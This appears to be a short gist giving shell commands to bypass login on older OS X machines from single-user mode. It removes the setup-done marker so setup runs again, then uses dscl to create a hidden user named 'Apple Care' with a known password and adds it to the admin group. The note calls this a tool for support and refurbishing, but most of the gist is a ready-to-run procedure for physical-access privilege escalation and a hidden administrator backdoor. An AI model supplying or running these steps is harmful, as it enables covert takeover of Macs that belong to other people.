OSX single-user mode user authentication bypass.

This only works on older versions of OSX for use in customer support or refurbishing older machines. YMMV.

Start in single user mode then:

mount -uw /
rm /var/db/.AppleSetupDone
# reboot

Add a user:

/sbin/fsck -fy
/sbin/mount -uw /

launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist

dscl . -create /Users/[USERNAME] IsHidden 1
dscl . -create /Users/[USERNAME] UserShell /bin/bash
dscl . -create /Users/[USERNAME] RealName “Apple Care”
dscl . -create /Users/[USERNAME] UniqueID “555”
dscl . -create /Users/[USERNAME] PrimaryGroupID 20
dscl . -create /Users/[USERNAME] NFSHomeDirectory /var/[USERNAME]
dscl . -passwd /Users/[USERNAME] [USERNAME]

# Sometimes
# Pre-Yosemite omit IsHidden 1 and instead use UniqueID of < 500)
dscl . -delete "/SharePoints/[USERNAME]’s Public Folder"
dscl . -append /groups/admin GroupMembership [USERNAME]
dseditgroup -o edit -a [USERNAME] -t user admin

vincenavarro/osx_bypass.md

OSX single-user mode user authentication bypass.